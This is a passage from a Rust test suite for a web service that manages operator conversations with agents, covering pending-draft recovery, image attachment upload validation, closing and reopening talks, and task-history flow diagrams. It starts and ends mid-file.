12158 );
12159 let cfg = config_for(&repo).await.expect("discover config");
12160
12161 for attempt in 0..3u32 {
12162 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12163 let id = talk.id.clone();
12164 let turn_guard = ui
12167 .begin_talk_turn(&id)
12168 .expect("claim the turn")
12169 .expect("a fresh talk owes nobody a turn");
12170
12171 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12172 let (release_tx, release_rx) = std::sync::mpsc::channel();
12173 ui.set_busy_queue_gate(BusyQueueGate {
12174 reached: reached_tx,
12175 release: release_rx,
12176 });
12177
12178 let handler = tokio::spawn(talk_say(
12179 State(Arc::clone(&ui)),
12180 Path(id.clone()),
12181 Ok(Json(NewTalkTurn {
12182 reply_to: None,
12183 text: "what does the queue module do?".to_owned(),
12184 attachments: Vec::new(),
12185 })),
12186 ));
12187
12188 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12193 .await
12194 .unwrap_or_else(|_| {
12195 panic!(
12196 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12197 )
12198 })
12199 .expect("the busy branch dropped the gate without using it");
12200
12201 let running = talks.get(&id).expect("reload talk");
12208 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12209
12210 handler.abort();
12214 let _ = handler.await;
12215
12216 let _ = release_tx.send(());
12222
12223 let mut fresh = talks.get(&id).expect("reload talk");
12226 for _ in 0..SETTLE_STEPS {
12227 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
12228 break;
12229 }
12230 tokio::time::sleep(Duration::from_millis(10)).await;
12231 fresh = talks.get(&id).expect("reload talk");
12232 }
12233 assert!(
12234 fresh.pending.is_empty() && fresh.turns.len() == 2,
12235 "attempt {attempt}: talk {id} left the operator's text queued \
12236 with no drainer - the reclaimed turn was dropped along with \
12237 the handler future (pending {:?}, {} turns)",
12238 fresh.pending,
12239 fresh.turns.len()
12240 );
12241 }
12242 }
12243
12244 #[tokio::test]
12245 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
12246 let (_tmp, _repo, f) = talk_fixture().await;
12247 let id = f.post("/api/talks", None).await.json()["id"]
12248 .as_str()
12249 .expect("id")
12250 .to_owned();
12251 let store = f.talks();
12252 let mut recovered = store.get(&id).expect("opened talk");
12253 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12254 .expect("persist pending draft without a live turn");
12255
12256 let edited = f
12257 .post(
12258 &format!("/api/talks/{id}/pending/edit"),
12259 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
12260 )
12261 .await;
12262 assert_eq!(edited.status, 200, "{}", edited.body);
12263 assert!(edited.json()["thinking"].as_bool().unwrap());
12264
12265 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
12266 for _ in 0..SETTLE_STEPS {
12267 if detail["turns"].as_array().expect("turns").len() == 2 {
12268 break;
12269 }
12270 tokio::time::sleep(Duration::from_millis(10)).await;
12271 detail = f.get(&format!("/api/talks/{id}")).await.json();
12272 }
12273 let turns = detail["turns"].as_array().expect("turns");
12274 assert_eq!(
12275 turns.len(),
12276 2,
12277 "the recovered draft must run once: {detail}"
12278 );
12279 assert_eq!(turns[0]["body"], "corrected");
12280 assert_eq!(detail["pending"], "");
12281 }
12282
12283 #[tokio::test]
12284 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
12285 let tmp = TempDir::new().expect("tempdir");
12286 let repo = tmp.path().join("repo");
12287 std::fs::create_dir_all(&repo).expect("repo dir");
12288 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12289 let f = Fixture::with_repo(repo).await;
12290 let id = f.post("/api/talks", None).await.json()["id"]
12291 .as_str()
12292 .expect("id")
12293 .to_owned();
12294 let store = f.talks();
12295 let mut recovered = store.get(&id).expect("opened talk");
12296 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12297 .expect("persist pending draft without a live turn");
12298
12299 let refused = f
12300 .post(
12301 &format!("/api/talks/{id}/say"),
12302 Some(r#"{"text":"new message"}"#),
12303 )
12304 .await;
12305 assert_eq!(refused.status, 409, "{}", refused.body);
12306 assert!(refused.body.contains("resume"), "{}", refused.body);
12307 let saved = store.get(&id).expect("draft remains after refusal");
12308 assert!(saved.turns.is_empty());
12309 assert_eq!(saved.pending, "saved before restart");
12310
12311 let say_path = format!("/api/talks/{id}/say");
12312 let (first, second) = tokio::join!(
12313 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
12314 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
12315 );
12316 assert_eq!(first.status, 409, "{}", first.body);
12317 assert_eq!(second.status, 409, "{}", second.body);
12318 let saved = store
12319 .get(&id)
12320 .expect("draft remains after concurrent refusals");
12321 assert!(saved.turns.is_empty());
12322 assert_eq!(saved.pending, "saved before restart");
12323
12324 let resumed = f
12325 .post(&format!("/api/talks/{id}/pending/resume"), None)
12326 .await;
12327 assert_eq!(resumed.status, 202, "{}", resumed.body);
12328 let duplicate = f
12329 .post(&format!("/api/talks/{id}/pending/resume"), None)
12330 .await;
12331 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
12332
12333 for _ in 0..SETTLE_STEPS {
12334 if store.get(&id).expect("talk").turns.len() == 2 {
12335 break;
12336 }
12337 tokio::time::sleep(Duration::from_millis(10)).await;
12338 }
12339 let finished = store.get(&id).expect("finished talk");
12340 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12341 assert_eq!(finished.turns[0].body, "saved before restart");
12342 assert!(finished.pending.is_empty());
12343 }
12344
12345 #[tokio::test]
12346 async fn an_image_only_recovered_draft_resumes_without_text() {
12347 let (_tmp, _repo, f) = talk_fixture().await;
12348 let id = f.post("/api/talks", None).await.json()["id"]
12349 .as_str()
12350 .expect("id")
12351 .to_owned();
12352 let uploaded = f
12353 .post_bytes(
12354 &format!("/api/talks/{id}/attachments"),
12355 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
12356 PNG_BYTES,
12357 )
12358 .await;
12359 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12360 let attachment = f
12361 .talks()
12362 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
12363 .expect("attachment metadata")
12364 .expect("stored attachment");
12365 let store = f.talks();
12366 let mut recovered = store.get(&id).expect("opened talk");
12367 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
12368
12369 let resumed = f
12370 .post(&format!("/api/talks/{id}/pending/resume"), None)
12371 .await;
12372 assert_eq!(resumed.status, 202, "{}", resumed.body);
12373 for _ in 0..SETTLE_STEPS {
12374 if store.get(&id).expect("talk").turns.len() == 2 {
12375 break;
12376 }
12377 tokio::time::sleep(Duration::from_millis(10)).await;
12378 }
12379 let finished = store.get(&id).expect("finished talk");
12380 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12381 assert!(finished.turns[0].body.is_empty());
12382 assert_eq!(finished.turns[0].attachments.len(), 1);
12383 assert!(finished.pending_attachments.is_empty());
12384 }
12385
12386 #[tokio::test]
12387 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
12388 let (_tmp, _repo, f) = talk_fixture().await;
12389 let id = f.post("/api/talks", None).await.json()["id"]
12390 .as_str()
12391 .expect("id")
12392 .to_owned();
12393 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12394 assert_eq!(closed.status, 200, "{}", closed.body);
12395 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12396 .expect("serialize closed talk");
12397 for (path, body) in [
12398 (format!("/api/talks/{id}/pending/resume"), None),
12399 (
12400 format!("/api/talks/{id}/pending/clear"),
12401 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
12402 ),
12403 (
12404 format!("/api/talks/{id}/pending/edit"),
12405 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
12406 ),
12407 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
12408 ] {
12409 let response = f.post(&path, body).await;
12410 assert_eq!(response.status, 409, "{}", response.body);
12411 }
12412 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12413 .expect("serialize closed talk");
12414 assert_eq!(
12415 after_clear, before_clear,
12416 "clear must not rewrite a closed talk"
12417 );
12418 }
12419
12420 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
12423
12424 #[tokio::test]
12425 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
12426 let tmp = TempDir::new().expect("tempdir");
12427 let repo = tmp.path().join("repo");
12428 std::fs::create_dir_all(&repo).expect("repo dir");
12429 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12430 let f = Fixture::with_repo(repo).await;
12431 let id_a = f.post("/api/talks", None).await.json()["id"]
12432 .as_str()
12433 .unwrap()
12434 .to_owned();
12435 let id_b = f.post("/api/talks", None).await.json()["id"]
12436 .as_str()
12437 .unwrap()
12438 .to_owned();
12439
12440 let a = f
12441 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
12442 .await;
12443 assert_eq!(a.status, 202, "{}", a.body);
12444 assert_eq!(a.json()["thinking"], true);
12445 let b = f
12446 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
12447 .await;
12448 assert_eq!(b.status, 202, "{}", b.body);
12449 assert_eq!(b.json()["thinking"], true);
12450
12451 let listed = f.get("/api/talks").await.json();
12452 for id in [&id_a, &id_b] {
12453 let view = listed
12454 .as_array()
12455 .unwrap()
12456 .iter()
12457 .find(|talk| talk["id"] == *id)
12458 .unwrap();
12459 assert_eq!(view["thinking"], true, "{listed}");
12460 }
12461 let repeated = f
12462 .post(
12463 &format!("/api/talks/{id_a}/say"),
12464 Some(r#"{"text":"again"}"#),
12465 )
12466 .await;
12467 assert_eq!(repeated.status, 202, "{}", repeated.body);
12468 assert_eq!(repeated.json()["pending"], "again");
12469 }
12470
12471 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
12474
12475 #[tokio::test]
12476 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
12477 let f = Fixture::start().await;
12478 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
12479
12480 let res = f
12481 .post_bytes(
12482 &format!("/api/talks/{id}/attachments"),
12483 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12484 PNG_BYTES,
12485 )
12486 .await;
12487 assert_eq!(res.status, 201, "{}", res.body);
12488 let body = res.json();
12489 assert_eq!(body["name"], "shot.png");
12490 assert_eq!(body["mime"], "image/png");
12491 assert_eq!(body["bytes"], PNG_BYTES.len());
12492 let att_id = body["id"].as_str().expect("id").to_owned();
12493 assert_eq!(
12494 att_id.len(),
12495 32,
12496 "the id must never be a client-suppliable path: {att_id}"
12497 );
12498
12499 let got = f
12500 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
12501 .await;
12502 assert_eq!(got.status, 200, "{}", got.body);
12503 assert_eq!(got.header("content-type"), Some("image/png"));
12504 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
12505 assert_eq!(got.bytes, PNG_BYTES);
12506 }
12507
12508 #[tokio::test]
12509 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
12510 let f = Fixture::start().await;
12511 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
12512
12513 let svg = f
12516 .post_bytes(
12517 &format!("/api/talks/{id}/attachments"),
12518 &[("Content-Type", "image/svg+xml")],
12519 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
12520 )
12521 .await;
12522 assert!(
12523 (400..500).contains(&svg.status),
12524 "svg must be refused: {} {}",
12525 svg.status,
12526 svg.body
12527 );
12528 assert!(svg.body.contains("SVG"), "{}", svg.body);
12529
12530 let text = f
12531 .post_bytes(
12532 &format!("/api/talks/{id}/attachments"),
12533 &[("Content-Type", "text/plain")],
12534 b"just some text",
12535 )
12536 .await;
12537 assert!(
12538 (400..500).contains(&text.status),
12539 "an unlisted type must be refused: {} {}",
12540 text.status,
12541 text.body
12542 );
12543
12544 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
12547 let big = f
12548 .post_bytes(
12549 &format!("/api/talks/{id}/attachments"),
12550 &[("Content-Type", "image/png")],
12551 &oversized,
12552 )
12553 .await;
12554 assert_eq!(
12555 big.status,
12556 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
12557 "{}",
12558 big.body
12559 );
12560 }
12561
12562 #[tokio::test]
12563 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
12564 let f = Fixture::start().await;
12565 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
12566
12567 let res = f
12570 .post_bytes(
12571 &format!("/api/talks/{id}/attachments"),
12572 &[("Content-Type", "image/png")],
12573 b"<html>not a picture</html>",
12574 )
12575 .await;
12576 assert!((400..500).contains(&res.status), "{}", res.body);
12577 }
12578
12579 #[tokio::test]
12580 async fn an_unknown_attachment_id_is_a_404() {
12581 let f = Fixture::start().await;
12582 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
12583
12584 let res = f
12585 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
12586 .await;
12587 assert_eq!(res.status, 404, "{}", res.body);
12588 }
12589
12590 #[tokio::test]
12591 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
12592 let f = Fixture::start().await;
12593 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
12594
12595 let uploaded = f
12596 .post_bytes(
12597 &format!("/api/talks/{id}/attachments"),
12598 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12599 PNG_BYTES,
12600 )
12601 .await;
12602 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12603 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
12604
12605 let res = f
12606 .post(
12607 &format!("/api/talks/{id}/say"),
12608 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
12609 )
12610 .await;
12611 assert_eq!(res.status, 202, "{}", res.body);
12612 let queued = res.json();
12613 let turns = queued["turns"].as_array().expect("turns array");
12614 assert_eq!(
12615 turns.len(),
12616 1,
12617 "an empty body with an attachment is still a turn: {queued}"
12618 );
12619 assert_eq!(turns[0]["who"], "operator");
12620 assert_eq!(turns[0]["body"], "");
12621 let atts = turns[0]["attachments"]
12622 .as_array()
12623 .expect("attachments array");
12624 assert_eq!(atts.len(), 1);
12625 assert_eq!(atts[0]["id"], att_id);
12626 assert_eq!(atts[0]["mime"], "image/png");
12627
12628 let on_disk = f.talks().get(&id).expect("get");
12631 assert_eq!(on_disk.turns[0].attachments.len(), 1);
12632 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
12633 }
12634
12635 #[tokio::test]
12636 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
12637 let f = Fixture::start().await;
12638 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
12639
12640 let res = f
12641 .post(
12642 &format!("/api/talks/{id}/say"),
12643 Some(&format!(
12644 r#"{{"text":"hi","attachments":["{}"]}}"#,
12645 "a".repeat(32)
12646 )),
12647 )
12648 .await;
12649 assert!((400..500).contains(&res.status), "{}", res.body);
12650 assert!(res.body.contains("unknown attachment"), "{}", res.body);
12651
12652 let on_disk = f.talks().get(&id).expect("get");
12653 assert!(
12654 on_disk.turns.is_empty(),
12655 "a rejected attachment id must not partially record the turn: {:?}",
12656 on_disk.turns
12657 );
12658 }
12659
12660 #[tokio::test]
12661 async fn talk_close_makes_the_talk_refuse_further_turns() {
12662 let f = Fixture::start().await;
12663 let id = seed_talk(&f, "20260904-014455-cd34", "open");
12664
12665 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12666 assert_eq!(closed.status, 200, "{}", closed.body);
12667 assert_eq!(closed.json()["status"], "closed");
12668
12669 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
12671 assert_eq!(closed_again.status, 200);
12672 assert_eq!(closed_again.json()["status"], "closed");
12673
12674 let said = f
12675 .post(
12676 &format!("/api/talks/{id}/say"),
12677 Some(r#"{"text":"too late"}"#),
12678 )
12679 .await;
12680 assert_eq!(said.status, 409, "{}", said.body);
12681 }
12682
12683 #[tokio::test]
12684 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
12685 let (_tmp, _repo, f) = talk_fixture().await;
12686 let id = f.post("/api/talks", None).await.json()["id"]
12687 .as_str()
12688 .expect("id")
12689 .to_owned();
12690 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12691 assert_eq!(closed.status, 200, "{}", closed.body);
12692
12693 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12694 assert_eq!(reopened.status, 200, "{}", reopened.body);
12695 assert_eq!(reopened.json()["status"], "open");
12696
12697 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12699 assert_eq!(reopened_again.status, 200);
12700 assert_eq!(reopened_again.json()["status"], "open");
12701
12702 let said = f
12703 .post(
12704 &format!("/api/talks/{id}/say"),
12705 Some(r#"{"text":"still there?"}"#),
12706 )
12707 .await;
12708 assert_eq!(
12709 said.status, 202,
12710 "a reopened talk accepts turns again: {}",
12711 said.body
12712 );
12713 }
12714
12715 #[tokio::test]
12716 async fn talk_reopen_on_an_unknown_id_is_404() {
12717 let f = Fixture::start().await;
12718 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12719 assert_eq!(res.status, 404, "{}", res.body);
12720 }
12721
12722 #[tokio::test]
12723 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12724 let f = Fixture::start().await;
12725 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12726
12727 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12728 assert_eq!(deleted.status, 204, "{}", deleted.body);
12729
12730 let after = f.get(&format!("/api/talks/{id}")).await;
12731 assert_eq!(after.status, 404, "{}", after.body);
12732
12733 let listed = f.get("/api/talks").await.json();
12734 assert!(
12735 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12736 "a deleted talk must not linger in the list: {listed}"
12737 );
12738 }
12739
12740 #[tokio::test]
12741 async fn talk_delete_on_an_unknown_id_is_404() {
12742 let f = Fixture::start().await;
12743 let res = f.delete("/api/talks/nonexistent-id").await;
12744 assert_eq!(res.status, 404, "{}", res.body);
12745 }
12746
12747 #[tokio::test]
12751 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12752 let f = Fixture::start().await;
12753 let (a, b, gone) = (
12754 "20260902-140501-aaaa",
12755 "20260902-140502-bbbb",
12756 "20260902-140503-cccc",
12757 );
12758 write_run(&f.runs(), a, RunStatus::Stalled);
12759 let mut review = RunState::new(
12760 PathBuf::from("/repo/magi"),
12761 "main".to_owned(),
12762 "0123456789abcdef".to_owned(),
12763 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12764 .to_owned(),
12765 Config::default(),
12766 );
12767 review.id = b.to_owned();
12768 review.status = RunStatus::Merged;
12769 write_state(&f.runs(), &review);
12770
12771 let mut task = Task::new(
12772 "retry".to_owned(),
12773 "Do the thing".to_owned(),
12774 PathBuf::from("/repo/magi"),
12775 Source::Human,
12776 );
12777 task.start(a.to_owned());
12778 task.stall("quota");
12779 task.start(a.to_owned());
12780 task.start(b.to_owned());
12781 task.start(gone.to_owned());
12782 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12784 f.queue().put(&mut task).expect("file the task");
12785
12786 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12787 assert_eq!(res.status, 200, "{}", res.body);
12788 let v = res.json();
12789 let h = v["history"].as_array().expect("history");
12790 assert_eq!(h.len(), 4, "{v}");
12791 assert_eq!(h[0]["kind"], "competition");
12792 assert_eq!(h[0]["status"], "stalled");
12793 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12794 assert_eq!(h[1]["kind"], "resume", "{v}");
12795 assert!(
12796 h[0]["outcome"]
12797 .as_str()
12798 .unwrap()
12799 .contains("unknown. Pass #2"),
12800 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12801 );
12802 assert!(
12803 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12804 "{v}"
12805 );
12806 assert!(
12807 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12808 "an unrecorded cause must not be narrated as an operator park: {v}"
12809 );
12810 assert_eq!(h[2]["kind"], "review");
12811 assert!(
12812 h[2]["description"]
12813 .as_str()
12814 .unwrap()
12815 .contains("magi/aaaa/A")
12816 );
12817 assert_eq!(h[2]["status"], "merged");
12818 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12819 assert_eq!(v["runs_unreadable"], 1);
12820 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12821 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12822 assert_eq!(nodes[4]["note"], "unreadable");
12823 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12824 assert_eq!(v["instruction"], "Do the thing");
12825 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12826
12827 let run = f.get(&format!("/api/runs/{a}")).await.json();
12829 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12830
12831 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12832 }
12833
12834 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12835 let mut s = RunState::new(
12836 PathBuf::from("/repo/magi"),
12837 "main".to_owned(),
12838 "0123456789abcdef".to_owned(),
12839 "Do it".to_owned(),
12840 Config::default(),
12841 );
12842 s.status = status;
12843 edit(&mut s);
12844 s
12845 }
12846
12847 fn flow_task(runs: &[&str]) -> Task {
12848 let mut t = Task::new(
12849 "t".to_owned(),
12850 "Do it".to_owned(),
12851 PathBuf::from("/repo/magi"),
12852 Source::Human,
12853 );
12854 for r in runs {
12855 t.start((*r).to_owned());
12856 }
12857 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12859 t
12860 }
12861
12862 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12863 let h = task_history(task, |id| {
12864 states
12865 .iter()
12866 .find(|(i, _)| *i == id)
12867 .and_then(|(_, s)| s.clone())
12868 });
12869 task_flow(task, &h, 5, None)
12870 }
12871
12872 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12873 crate::queue::FollowUp {
12874 run: "20260901-000000-aaaa".to_owned(),
12875 origin_task: origin_task.map(str::to_owned),
12876 pr: "https://example.com/o/r/pull/1".to_owned(),
12877 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12878 .map(str::to_owned)
12879 .to_vec(),
12880 generation: 1,
12881 }
12882 }
12883
12884 fn parent_task() -> Task {
12885 let mut p = flow_task(&[]);
12886 p.title = "Parent title".to_owned();
12887 p.status = TaskStatus::Done;
12888 p
12889 }
12890
12891 #[test]
12892 fn flow_opens_with_the_parent_task_of_a_followup() {
12893 let p = parent_task();
12894 let pid = p.id.clone();
12895 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12896 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12897 let n = &f.nodes[0];
12898 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12899 assert_eq!(
12900 n.label,
12901 format!("Follow-up of {}", crate::queue::short(&pid))
12902 );
12903 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12904 assert_eq!(n.status, Some("done"));
12905 assert_eq!(n.status_of, "task");
12906 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12907 assert_eq!(f.nodes[1].key, "start");
12908 assert_eq!(f.edges[0].from, "origin");
12909 assert_eq!(
12910 f.edges[0].label,
12911 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12912 );
12913 }
12914
12915 #[test]
12916 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12917 let o = followup_origin(
12918 &fu(Some("gone")),
12919 |_| None,
12920 |_| {
12921 Some(RunState::new(
12922 std::path::PathBuf::from("."),
12923 "main".to_owned(),
12924 "0".to_owned(),
12925 "t".to_owned(),
12926 crate::config::Config::default(),
12927 ))
12928 },
12929 );
12930 assert!(o.parent.is_none());
12931 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12932 let n = &f.nodes[0];
12933 assert_eq!(n.status_of, "run");
12934 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12935 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12936 }
12937
12938 #[test]
12939 fn flow_followup_with_nothing_readable_has_no_link() {
12940 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12941 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12942 let n = &f.nodes[0];
12943 assert_eq!(n.href, None);
12944 assert_eq!(n.note, Some("unreadable"));
12945 assert!(!n.readable);
12946 }
12947
12948 #[test]
12949 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12950 let o = followup_origin(&fu(None), |_| None, |_| None);
12951 let mut t = flow_task(&[]);
12952 t.origin_chat = Some("c1".to_owned());
12953 let f = task_flow(&t, &[], 5, Some(&o));
12954 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12955 t.source = Source::Agent {
12956 run: "c1".to_owned(),
12957 node: crate::queue::CHAT_NODE.to_owned(),
12958 };
12959 let f = task_flow(&t, &[], 5, Some(&o));
12960 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12961 assert_eq!(
12962 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12963 ("chat", "origin")
12964 );
12965 }
12966
12967 #[test]
12968 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12969 let mut p = parent_task();
12970 p.id = "a b/c".to_owned();
12971 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12972 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12973 }
12974
12975 #[test]
12976 fn flow_opens_with_the_chat_that_queued_the_task() {
12977 let mut t = flow_task(&[]);
12978 t.source = Source::Agent {
12979 run: "a b/c".to_owned(),
12980 node: crate::queue::CHAT_NODE.to_owned(),
12981 };
12982 let f = flow_for(&t, &[]);
12983 assert_eq!(f.nodes[0].key, "chat");
12984 assert_eq!(f.nodes[0].kind, "chat");
12985 assert_eq!(
12986 f.nodes[0].label,
12987 format!("Chat {}", crate::queue::short("a b/c"))
12988 );
12989 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12990 assert_eq!(f.nodes[1].key, "start");
12991 assert_eq!(
12992 f.edges[0],
12993 FlowEdge {
12994 from: "chat".to_owned(),
12995 to: "start".to_owned(),
12996 label: "queued from chat".to_owned(),
12997 attempt: AttemptCost::None,
12998 }
12999 );
13000 }
13001
13002 #[test]
13003 fn flow_has_no_chat_box_for_other_sources() {
13004 for source in [
13005 Source::Human,
13006 Source::Issue {
13007 number: 3,
13008 repo: "o/r".to_owned(),
13009 },
13010 Source::Agent {
13011 run: "20260904-014455-ab12".to_owned(),
13012 node: "implement".to_owned(),
13013 },
13014 ] {
13015 let mut t = flow_task(&[]);
13016 t.source = source;
13017 let f = flow_for(&t, &[]);
13018 assert_eq!(f.nodes[0].key, "start");
13019 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13020 assert!(f.edges.iter().all(|e| e.from != "chat"));
13021 }
13022 }
13023
13024 const FA: &str = "20260902-140501-aaaa";
13025 const FB: &str = "20260902-140502-bbbb";
13026
13027 #[test]
13028 fn flow_follows_blocked_retry_merged_to_done() {
13029 let mut t = flow_task(&[FA, FB]);
13030 t.status = TaskStatus::Done;
13031 let f = flow_for(
13032 &t,
13033 &[
13034 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13035 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13036 ],
13037 );
13038 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13039 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13040 assert_eq!(f.edges.len(), 3);
13041 assert_eq!(f.edges[0].label, "claimed");
13042 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13043 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13044 assert_eq!(f.edges[2].label, "merged \u{2192} done");
13045 assert_eq!(
13046 f.nodes[2].href.as_deref(),
13047 Some("#/runs/20260902-140502-bbbb")
13048 );
13049 assert!(f.nodes[2].decided);
13050 }
13051
13052 #[test]
13053 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13054 let quota = || {
13055 flow_run(RunStatus::Stalled, |s| {
13056 s.quota.push(crate::run::QuotaLoss {
13057 seat: "judge-1".to_owned(),
13058 node: "judge".to_owned(),
13059 at: Timestamp::now(),
13060 reset: None,
13061 })
13062 })
13063 };
13064 let mut t = flow_task(&[FA, FA]);
13065 t.status = TaskStatus::Queued;
13066 let f = flow_for(&t, &[(FA, Some(quota()))]);
13067 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13068 assert_eq!(f.nodes[1].note, Some("interrupted"));
13069 assert_eq!(
13070 f.nodes[1].status, None,
13071 "no outcome copied onto an earlier pass"
13072 );
13073 assert_eq!(
13074 f.edges[1].attempt,
13075 AttemptCost::Unknown,
13076 "a resume does not prove the earlier pass was refunded"
13077 );
13078 assert!(f.edges[1].label.contains("resume the same run"));
13079 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13080 assert_eq!(
